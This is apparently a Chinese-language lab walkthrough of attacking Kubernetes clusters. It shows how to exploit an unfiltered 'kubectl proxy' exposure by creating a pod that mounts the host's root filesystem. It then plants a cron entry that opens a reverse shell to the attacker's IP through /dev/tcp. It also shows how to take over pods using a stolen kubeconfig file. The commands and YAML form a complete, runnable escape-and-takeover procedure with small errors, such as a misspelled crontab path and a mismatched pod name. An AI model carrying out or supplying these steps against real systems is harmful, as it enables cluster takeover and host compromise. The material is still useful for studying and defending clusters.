Kubelet Proxy(kubelet-proxy)是 Kubernetes 中的一个关键组件,负责管理 Pod 之间的网络通信,以及实现网络策略。使用Kubectl proxy将API Server外置时,攻击者可以通过使用和K8s API Server未授权一样的漏洞实施攻击操作。
Kubernetes kubeconfig 是连接和配置 Kubernetes 集群所需的文件,包括集群信息、用户凭据和上下文。攻击者一旦拿到kubeconfig文件,就可以用该文件操作集群,从而接管所有容器。
Kubelet-Proxy不安全配置
安装k8s集群
./metarget gadget install k8s --version 1.16.5
使用kubectl proxy命令就可以使API server监听在集群的8080端口上
kubectl proxy --port=8080 --address=192.168.159.236 --api-prefix=/ --disable-filter=true
在攻击机上访问集群的API server服务器
攻击机上新建yaml文件:myapp.yaml,目的是让集群新建一个pod并挂载上宿主机的/mnt.
apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: container0
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
使用kubectl -s新建
kubectl -s http://192.168.159.236:8080 create -f Yaml/myapp.yaml查看新建的pod
kubectl -s http://192.168.159.236:8080 get pods
进入容器
kubectl -s http://192.168.159.236:8080 exec -it myapp /bin/bash
写计划任务反弹宿主机的shell
echo '*/1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.159.189/33333 0>&1"' >> /mnt/etc/cront
攻击机获取到shell
Kubeconfig文件泄露
如果攻击者通过webshell、GitHub等特定方式拿到该K8s配置的Config文件,就可以用该文件操作集群,从而接管所有容器。
找到config文件有如下三种判断方式:
如果提供了--kubeconfig参数,就使用提供的kubeconfig文件。
如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件。
如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件$HOME/.kube/config。
之后通过kubectl --kubeconfig指定设置config文件,就可操作对应的集群容器了
在我本地的集群环境中执行echo $HOME/.kube/config
将此文件复制到攻击机上
在攻击机上查看
kubectl --kubeconfig config config view
查看pod
kubectl --kubeconfig config get pods
执行命令
kubectl --kubeconfig config exec myapp -- hostname
进入容器
kubectl --kubeconfig config exec -it myapp /bin/bash
也可以新建容器或者其他攻击方法。